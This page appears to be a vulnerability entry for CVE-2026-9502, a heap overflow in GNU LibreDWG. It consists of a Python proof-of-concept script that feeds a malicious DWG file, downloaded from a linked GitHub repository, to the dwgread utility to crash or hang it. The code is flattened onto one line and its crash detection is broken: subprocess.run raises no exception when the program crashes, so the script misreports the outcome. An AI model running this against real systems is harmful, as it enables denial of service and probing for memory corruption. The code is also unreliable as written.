CVE-2026-9502 GNU LibreDWG 堆缓冲区溢出漏洞

# Proof of Concept Concept for CVE-2026-9502 # This script demonstrates how to trigger the vulnerability using the provided malicious DWG file. import subprocess import os # Path to the malicious DWG file (PoC) # Download from: https://github.com/HackC0der/CVE-Repos/blob/main/libredwg/libredwg_6d6a339_heap_overflow_decompress_R2004_section.dwg poc_file = "libredwg_6d6a339_heap_overflow_decompress_R2004_section.dwg" # Path to the vulnerable dwgread utility dwgread_path = "dwgread" if os.path.exists(poc_file): print(f"[*] Attempting to trigger CVE-2026-9502 using {poc_file}...") try: # Execute the vulnerable utility with the malicious file result = subprocess.run([dwgread_path, poc_file], capture_output=True, text=True, timeout=5) print("[!] Exploit failed or handled gracefully.") print(result.stdout) print(result.stderr) except subprocess.TimeoutExpired: print("[+] Process hung (potential DoS)") except Exception as e: print(f"[+] An exception occurred (potential crash): {e}") else: print(f"[!] PoC file {poc_file} not found. Please download it from the reference link.")